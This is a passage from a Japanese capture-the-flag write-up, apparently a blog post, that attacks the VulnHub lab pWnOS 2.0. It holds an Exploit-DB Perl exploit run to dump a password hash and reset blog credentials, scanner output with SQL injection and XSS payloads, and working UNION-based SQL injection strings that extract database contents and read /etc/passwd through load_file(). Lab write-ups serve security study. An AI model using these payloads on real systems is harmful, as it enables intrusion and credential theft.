【VulnHub】pWnOS: 2.0 - Walkthrough -

「[pWnOS: 2.0](https://www.vulnhub.com/entry/pwnos-20-pre-release,34/)」は、「[pWnOS](https://www.vulnhub.com/author/pwnos,6/)」によって開発され、[pWnOS](https://www.vulnhub.com/series/pwnos,3/)にて公開されているシリーズの一つです。

# リリース情報
名称: [pWnOS: 2.0 (Pre-Release)](https://www.vulnhub.com/entry/pwnos-20-pre-release,34/)
リリース日: 2011年7月4日
シリーズ: [pWnOS](https://www.vulnhub.com/series/pwnos,3/)
作者: [pWnOS](https://www.vulnhub.com/author/pwnos,6/)

# Walkthrough
## IPアドレスの固定
[pWnOS: 2.0](https://www.vulnhub.com/entry/pwnos-20-pre-release,34/)のIPアドレスは、静的に`10.10.10.100`に設定されています。

このため、攻撃プラットフォーム`Kali Linux`を`10.10.10.0/24`ネットワーク範囲内にあらかじめ設定しておく必要があります。そこで、`/etc/network/interfaces`ファイルを次のとおり編集しました。設定を反映させるため、OSの再起動を行っています。

```
root@kali:~# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

allow-hotplug eth0
iface eth0 inet static
 address 10.10.10.10
 netmask 255.0.0.0
 broadcast 10.255.255.255
 gateway 10.10.10.1
```

## 列挙
### 実行されているサービスの特定
どのサービスが実行されているのか特定を行います。ポートスキャンの実行です。`nmap -Pn -sS -sV -p- 10.10.10.100`コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

```
root@kali:~# nmap -Pn -sS -sV -p- 10.10.10.100
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-20 11:59 JST
Nmap scan report for 10.10.10.100
Host is up (0.00037s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 00:0C:29:06:E6:25 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.54 seconds
root@kali:~# 
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|22/tcp|ssh|OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)|
|80/tcp|http|Apache httpd 2.2.17 ((Ubuntu))|

### ウェブサイトの診断
ウェブサイトの脆弱性を診断するために、`nikto`を使用してみます。

```
root@kali:~# nikto -h http://10.10.10.100/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.100
+ Target Hostname:    10.10.10.100
+ Target Port:        80
+ Start Time:         2019-11-20 12:02:50 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 19:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8310 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:           2019-11-20 12:03:08 (GMT9) (18 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 
```

さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。`dirb`コマンドを使用します。

```
root@kali:~# dirb http://10.10.10.100/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Nov 20 12:03:56 2019
URL_BASE: http://10.10.10.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)                                 
==> DIRECTORY: http://10.10.10.100/blog/                                         
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288)                               
==> DIRECTORY: http://10.10.10.100/includes/                                     
+ http://10.10.10.100/index (CODE:200|SIZE:854)                                  
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)                              
+ http://10.10.10.100/info (CODE:200|SIZE:50173)                                 
+ http://10.10.10.100/info.php (CODE:200|SIZE:50042)                             
+ http://10.10.10.100/login (CODE:200|SIZE:1174)                                 
+ http://10.10.10.100/register (CODE:200|SIZE:1562)                              
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)                          
                                                                                 
---- Entering directory: http://10.10.10.100/blog/ ----
+ http://10.10.10.100/blog/add (CODE:302|SIZE:0)                                 
+ http://10.10.10.100/blog/atom (CODE:200|SIZE:1062)                             
+ http://10.10.10.100/blog/categories (CODE:302|SIZE:0)                          
+ http://10.10.10.100/blog/comments (CODE:302|SIZE:0)                            
==> DIRECTORY: http://10.10.10.100/blog/config/                                  
+ http://10.10.10.100/blog/contact (CODE:200|SIZE:5891)                          
==> DIRECTORY: http://10.10.10.100/blog/content/                                 
+ http://10.10.10.100/blog/delete (CODE:302|SIZE:0)                              
==> DIRECTORY: http://10.10.10.100/blog/docs/                                    
==> DIRECTORY: http://10.10.10.100/blog/flash/                                   
==> DIRECTORY: http://10.10.10.100/blog/images/                                  
+ http://10.10.10.100/blog/index (CODE:200|SIZE:8094)                            
+ http://10.10.10.100/blog/index.php (CODE:200|SIZE:8094)                        
+ http://10.10.10.100/blog/info (CODE:302|SIZE:0)                                
+ http://10.10.10.100/blog/info.php (CODE:302|SIZE:0)                            
==> DIRECTORY: http://10.10.10.100/blog/interface/                               
==> DIRECTORY: http://10.10.10.100/blog/languages/                               
+ http://10.10.10.100/blog/login (CODE:200|SIZE:5640)                            
+ http://10.10.10.100/blog/logout (CODE:302|SIZE:0)                              
+ http://10.10.10.100/blog/options (CODE:302|SIZE:0)                             
+ http://10.10.10.100/blog/rdf (CODE:200|SIZE:1411)                              
+ http://10.10.10.100/blog/rss (CODE:200|SIZE:1237)                              
==> DIRECTORY: http://10.10.10.100/blog/scripts/                                 
+ http://10.10.10.100/blog/search (CODE:200|SIZE:4924)                           
+ http://10.10.10.100/blog/setup (CODE:302|SIZE:0)                               
+ http://10.10.10.100/blog/static (CODE:302|SIZE:0)                              
+ http://10.10.10.100/blog/stats (CODE:200|SIZE:5282)                            
==> DIRECTORY: http://10.10.10.100/blog/themes/                                  
+ http://10.10.10.100/blog/trackback (CODE:302|SIZE:0)                           
+ http://10.10.10.100/blog/upgrade (CODE:302|SIZE:0)                             
                                                                                 
---- Entering directory: http://10.10.10.100/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/config/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/content/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/docs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/flash/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/interface/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                 
---- Entering directory: http://10.10.10.100/blog/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Nov 20 12:04:04 2019
DOWNLOADED: 9224 - FOUND: 30
root@kali:~# 
```

### HTTPサービスのスキャン
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。

- `Home` : `index.php`
<img width="1063" alt="Home.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/93dbfa72-0b62-8f71-0097-762300e73d1b.png">
`IsIntS`というサイト名とともに、[Home]、[Register]、[Login]という3つのタブが用意されていることが確認できます。

- `Register` : `register.php`
<img width="1063" alt="register.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/202963b3-1465-83d6-60cc-7119cd700db8.png">

- `Login` : `login.php`
<img width="1063" alt="login.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e14daac1-6b29-8100-54c8-3a17bd1c242a.png">

- blog
`nikto`や`dirb`コマンドの結果から、`/blog/`ディレクトリに注目してみます。
<img width="1063" alt="blog.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3f074d85-1414-eda3-69ca-827af4b65702.png">
HTMLソースを確認したところ、`Simple PHP Blog 0.4.0`にて構築されていることが特定できました。
<img width="1063" alt="blog source.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4015a0ca-4e5d-0c0b-e667-baaa21e0782b.png">

## Simple PHP Blog アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されている`Simple PHP Blog 0.4.0`のexploitコードを検索してみましょう。

```
root@kali:~# searchsploit Simple PHP Blog 0.4.0
--------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                             |  Path
                                                                           | (/usr/share/exploitdb/)
--------------------------------------------------------------------------- ----------------------------------------
Simple PHP Blog 0.4.0 - Multiple Remote s                                  | exploits/php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Execution (Metasploit)              | exploits/php/webapps/16883.rb
--------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~# 
```

結果、`Simple PHP Blog 0.4.0`には、複数の脆弱性によりリモートコード実行（[EDB-ID: 1191](https://www.exploit-db.com/exploits/1191)）が可能であることが判明しました。

```
root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog -e 2

________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		    http://www.ftusecurity.com
________________________________________________________________________________
Running Username and Password Hash Retrieval Exploit....


Retrieved Username and Password Hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/


*** Exploit Completed....
Have a nice day! :)
root@kali:~# 
```

ユーザー名/パスワードハッシュが出力されました。`hashid`コマンドで形式を特定します。

```
root@kali:~# hashid '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
Analyzing '$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/'
[+] MD5 Crypt 
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5 
root@kali:~#
```

`1191.pl`を使って、新しいユーザ`h4ck/h4ck`を作成します。

```
root@kali:~# perl /usr/share/exploitdb/exploits/php/webapps/1191.pl -h http://10.10.10.100/blog/login.php -e 3 -U h4ck -P h4ck

________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		    http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....


Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: h4ck
Password is set to: h4ck


*** Exploit Completed....
Have a nice day! :)
root@kali:~# 
```

作成した`h4ck/h4ck`アカウントを使い、`Simple PHP Blog`へログインします。
<img width="1073" alt="login.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4171cec0-7fe4-380d-19b4-e083a3f1ef38.png">

## SQLインジェクション
「SQLインジェクション（[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)）」の脆弱性を抱えている可能性について検証します。

攻略のヒントは、書籍『[The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws (English Edition)](https://www.amazon.co.jp/dp/B005LVQA9S/)』の、「Chapter 9 Attacking Data Stores - Finding SQL Injection Bugs」に、こんな風に記載されています。

>When user-supplied string data is incorporated into a SQL query, it is encapsulated within single quotation marks. To exploit any SQL injection flaw, you need to break out of these quotation marks.

そこで、`login.php`の`Email Address:`/`Password:`要求に対して、シングルクォーテーション`'`を送信してみます。
<img width="1063" alt="fuzz.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/932672b6-2cc7-e752-b6f6-fbfbbaa9f311.png">

次のエラーが出力されました。シングルクォーテーションに対する反応から、SQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

>An error occurred in script '/var/www/login.php' on line 47: Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL' at line 1
Date/Time: 9-25-2019 09:24:38 

エラーから得られた有益と思われる情報をまとめておきます。

|項目|内容|
|:---|:---|
|パス|/var/www/login.php|
|バージョン情報|MySQL 5.1.54-1ubuntu4|
|クエリ|Query: SELECT * FROM users WHERE email=''' AND pass='bb589d0621e5472f470fa3425a234c74b1e202e8' AND active IS NULL|

### wapitiコマンド
ウェブサイトにて、`wapiti`コマンドを実行します。

```
root@kali:~# wapiti http://10.10.10.100/
Wapiti-2.3.0 (wapiti.sourceforge.net)

 Note
========
This scan has been saved in the file /root/.wapiti/scans/10.10.10.100.xml
You can use it to perform attacks without scanning again the web site with the "-k" parameter
[*] Loading modules:
	 mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto

[+] Launching module exec

[+] Launching module file

[+] Launching module sql
MySQL Injection in http://10.10.10.100/login.php via injection in the parameter email
Evil request:
POST /login.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/login.php
Content-Type: application/x-www-form-urlencoded

email=%BF%27%22%28&pass=letmein&submit=Login&submitted=TRUE


[+] Launching module xss
XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter first_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wc0jjmxhaz%27%29%3C%2Fscript%3E&last_name=default&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE

XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter last_name
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=default&last_name=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wmdl5aja5v%27%29%3C%2Fscript%3E&email=default&password1=letmein&password2=letmein&submit=Register&submitted=TRUE

XSS vulnerability in http://10.10.10.100/register.php via injection in the parameter email
Evil request:
POST /register.php HTTP/1.1
Host: 10.10.10.100
Referer: http://10.10.10.100/register.php
Content-Type: application/x-www-form-urlencoded

first_name=default&last_name=default&email=%22%3E%3C%2Finput%3E%3Cscript%3Ealert%28%27wqjo3p1j54%27%29%3C%2Fscript%3E&password1=letmein&password2=letmein&submit=Register&submitted=TRUE


[+] Launching module blindsql

[+] Launching module permanentxss

Report
------
A report has been generated in the file /root/.wapiti/generated_report
Open /root/.wapiti/generated_report/index.html with a browser to see this report.
root@kali:~# 
```

- `login.php`における`email`パラメータにSQLインジェクションの脆弱性を検知
- `register.php`における複数のパラメータにXSSの脆弱性を検知

### BurpSuite
HTTP通信内容の書き換えて、SQLインジェクション攻撃に対する反応を調査していきます。ここでは、`BurpSuite`を使いリクエストの取得、パラメータの書き換えを行います。

`Firefox`ブラウザを介して`BurpSuite`にてクライアントとサーバー間のトラフィックすべてを横取りできるように、必要な設定（[Configuring your Browser to work with Burp](https://support.portswigger.net/customer/portal/articles/1783055-configuring-your-browser-to-work-with-burp)、[Configuring Firefox to work with Burp](https://support.portswigger.net/customer/portal/articles/1783066-configuring-firefox-to-work-with-burp)）を行います。

#### BurpSuiteの初期設定
BurpのProxy機能を利用します。この機能は、Webアプリケーションの通信でサーバにリクエストを送信する際に、BurpがHTTP通信をキャプチャし、通信内容の閲覧や通信内容の書き換えが可能となる機能です。

1. Burpを起動し、[Proxy]タブ->[Options]タブに移動し、[Proxy Listeners]の設定内容を確認します（初期設定では、Interfaceとして、`127.0.0.1:8080`が設定されています）。
2. 次に、レスポンス内容もキャプチャするための設定を行います。同じく[Proxy]タブ->[Options]タブの[Intercept Client Requests]の設定内容を確認します。[Intercept responses based on the following rules]チェックボックスをONに設定します。
3. [Use this proxy server for all protocols]チェックボックスがオンになっていることを確認します。[OK]をクリックして、すべてのオプションダイアログを閉じます。
<img width="1073" alt="Options.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e01db66b-1178-11a1-c972-de675c5e8063.png">

#### FirefoxをBurpで動作させる初期設定
1. Firefoxのアドレスバーに`about:preferences#advanced`を入力します。
2. [Network]タブに移動し、[Connection]の[Settings]ボタンをクリックします。
3. [Manual proxy configuration]オプションを選択し、[HTTP Proxy]フィールドにBurp Proxyリスナーアドレスを入力します（初期設定は`127.0.0.1`に設定されています）。[Port]フィールドにBurp Proxyリスナーポートを入力します（初期設定は`8080`に設定されています）。
<img width="1073" alt="Firefox.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/85d8501d-6544-e37e-99e2-2c34013d31f0.png">

#### Firefoxの内部通信を抑制する
1. 初期設定のFirefoxでは、`http://detectportal.firefox.com/success.txt`へのアクセスが頻繁に発生します。ペネトレーションテストには不要な通信のため、抑制します。
<img width="1073" alt="Firefox_success.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/8ddca0c5-6717-b899-c146-d00f5c0c1eff.png">
2. Firefoxのアドレスバーに`about:config`を入力します。`This might void your warranty!`（動作保証対象外になります！）と表示されますが、`I accept the risk!`（危険性を承知の上で使用する）ボタンをクリックします。
<img width="1073" alt="Firefox_config.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/eef0eb83-171f-4ba0-24e7-6effc47764fe.png">
3. `network.captive-portal-service.enabled`の値を`false`に変更します。これにより、`success.txt`へのアクセスが停止します。
<img width="1073" alt="Firefox_network_captive.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/f914fb07-2a83-27d4-d67d-f8f8d16c1dfd.png">

### ログインフォームのキャプチャ
BurpのIntercept機能を利用します。ログインフォームに値を入力し、[Login]ボタンをクリックした際に送信される値を確認します。

1. Burpの[Proxy]タブ->[Intercept]タブに移動し、[Intercept is off]の状態にします。
<img width="1073" alt="Intercept_off.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6393465a-bfe1-74e3-2402-a8e0ac08779c.png">
2. Firefoxにて、`http://10.10.10.100/login.php`画面へ遷移します。BurpSuiteの[Proxy]タブ->[Intercept]タブに移動し、[Intercept is on]の状態にします。この状態で`login.php`にて`Email Address:email`、`Password:password`を入力して、[Login]ボタンをクリックします。
3. 変数`email`、`pass`、`submit`、`submitted`が`POST`リクエストにより送信されていることが確認できます。
<img width="1073" alt="Burp_Intercept.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d0682127-4ac0-0771-2c96-ca39d9f01025.png">

```
email=email&pass=password&submit=Login&submitted=TRUE
```

### HTTP通信の書き換え
BurpのRepeater機能を利用します。この機能は、HTTPリクエストをBurpから直接送信することが可能です。BurpのProxy機能でキャプチャした内容を書き換えて再送することができます。
この機能を使って、データベース探索を行います。

### データベース探索
#### MySQL バージョンの表示
1. Proxy機能でログインフォームのキャプチャした後、右クリックメニューを表示させ[Send to Repeater]を選択します。
<img width="1072" alt="Burp_Repeater.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d7adeec0-87e9-f53c-aadc-69d1221a678a.png">
2. [Repeater]タブを選択し、Requestの内容を次のとおり書き換え、[Go]ボタンをクリックします。

```
email='&pass=password&submit=Login&submitted=TRUE
```
3. Responseの内容を確認すると、`MySQL 5.1.54-1ubuntu4`であることが特定できました。
<img width="1072" alt="Burp_mysql.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9ae2d0e2-5a59-6cfd-c0be-df43f6f2ed3f.png">

#### テーブル内の列数を確認
`union select columns_sequence`クエリを使い、テーブル内の列数を確認するとともに、脆弱な列の表示を試みます。
`columns_sequence`を、コンマ`,`で区切られた`1`から`x-1`（列の数）までの数値に置き換えます。すなわち、列数が`8`の場合、クエリは次のようになります。

```
email=' union select 1,2,3,4,5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
```

また、Burp Repeaterの`Render`タブに切り替えると、次のように表示されます。これはすなわち、**書き込み可能な列**は`4`であることを示しています。

<img width="1072" alt="Burp_Render.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a8759312-1706-6e3d-3b4e-2e6cba069c22.png">

#### ユーザー名の特定
ユーザー名を列挙します。すでに列`4`が脆弱である（**書き込むことができる**）ことが判明しています。そこで、コードをその列に挿入するクエリを実行します。

```
email=' union select 1,2,3,user(),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
```

<img width="1072" alt="Burp_user.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/72cf76e2-4a6e-9343-0bf2-c7e5178f53e6.png">
`root@localhost`にて動作していることが解ります。

#### バージョン、データベース名、ディレクトリの列挙
同様に、バージョン情報を`version()`、データベースの名前を`database()`、格納ディレクトリを`@@datadir`にて列挙が可能です。
また、`rgoup_concat()`関数にて文字列を結合し、`0x3a`（コロン記号）にて区切ることでこれらの値を一括して列挙することが可能です。

```
email=' union select 1,2,3,group_concat(version(),0x3a,database(),0x3a,@@datadir,0x3a,user()),5,6,7,8-- -&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_group_concat_version.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7d206d2f-1f5b-e227-1d72-395025ed543b.png">

|項目|内容|
|:---|:---|
|バージョン|5.1.54-1ubuntu4|
|データベースの名前|ch16|
|サーバの格納ディレクトリ|/var/lib/mysql/|
|現在のユーザー名|root@localhost|

#### すべてのデータベースの列挙
SQL内のすべてのデータベースが列挙可能であるか検証します。次のクエリを実行します。`4`を`group_concat（schema_name）`に置き換え、`from information_schema.schemata#`を追加します。

```
email=' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_group_concat_schema_name.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/44a5723b-90f1-649c-7b5c-1f49f2c98486.png">

3つのデータベースが存在していることを特定しました。このうち、`information_schema`と`mysql`は標準的なデータベースです。従って、解析対象は`ch16`データベースとなります。

|項目|内容|
|:---|:---|
|バージョン|5.1.54-1ubuntu4|
|データベースの名前|ch16|
|サーバの格納ディレクトリ|/var/lib/mysql/|
|現在のユーザー名|root@localhost|
|データベース|information_schema, ch16, mysql|

#### テーブルの列挙
`ch16`データベースに注目し、このデータベースからすべてのテーブルを列挙します。次のクエリを実行します。`4`を`group_concat（table_name）`に置き換え、`from information_schema.tables where table_schema='ch16'`を追加します。

```
email=' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_group_concat_schema_name_table_name.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/407e1fb7-e292-f22f-bf58-d151615972cd.png">

`ch16`データベースには`users`テーブルが存在していることを特定しました。

|項目|内容|
|:---|:---|
|バージョン|5.1.54-1ubuntu4|
|データベースの名前|ch16|
|サーバの格納ディレクトリ|/var/lib/mysql/|
|現在のユーザー名|root@localhost|
|データベース|information_schema, ch16, mysql|
|ch16 DBのテーブル|users|

#### カラム名の列挙
`users`テーブルのカラム名を列挙するクエリを実行します。`4`を`group_concat(column_name)`に置き換え、`from information_schema.columns where table_schema='ch16'#`を追加します。

```
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema='ch16'#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_column_name.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/cfb20a8d-00aa-a909-f751-997cbb3abebe.png">

`ch16`データベースには`users`テーブルが存在し、そのカラム名（列名）は次のとおりであることを特定しました。

```
+-------------------+
| user_id           |
| first_name        |
| last_name         |
| email             |
| pass              |
| user_level        |
| active            |
| registration_date |
+-------------------+
```

#### 値の列挙
`ch16`データベースの`users`テーブルに存在する各列の値を列挙するクエリを実行します。`4`を`group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level)`に置き換え、`from ch16.users#`を追加します。

```
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level),5,6,7,8 from ch16.users#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_value.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/68a8c8ab-ab02-e730-7220-ff69b708b8fd.png">

`user_id:1`、`email:admin@isints.com`、`user_level:0`の値から`Dan Privett`は特権ユーザの可能性が推測できます。
しかし、システムへの侵入に使用できるアカウントではないようです。

```
+------------------------------------------------------+
| user_id    |1                                        |
| first_name |Dan                                      |
| last_name  |Privett                                  |
| email      |admin@isints.com                         |
| pass       |c2c4b4e51d9e23c02c15702c136c3e950ba9a4af |
| user_level |0                                        |
+------------------------------------------------------+
```

## システム探索
ここでは、SQLインジェクションの脆弱性を突き、`load_file()`関数にてシステム内部のファイル取得を試みます。

### /etc/passwdファイルの取得
`/etc/passwd`ファイルを取得するクエリを実行します。`4`を`load_file('/etc/passwd')`に置き換えます。

```
email=' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_passwd.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/971d145b-8cf4-242a-7476-594c8d4ce875.png">

### システムファイルの取得
すでに`login.php`ファイルのパスが判明しています。実際にファイルを取得し、内容を確認してみます。

|項目|内容|
|:---|:---|
|パス|/var/www/login.php|

```
email=' union select 1,2,3,load_file('/var/www/login.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_login_php.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3d9f8aa8-6f31-3b0c-ecdc-1ab68d6951a5.png">

新たに`config.inc.php`ファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。

|項目|内容|
|:---|:---|
|パス|/var/www/login.php|
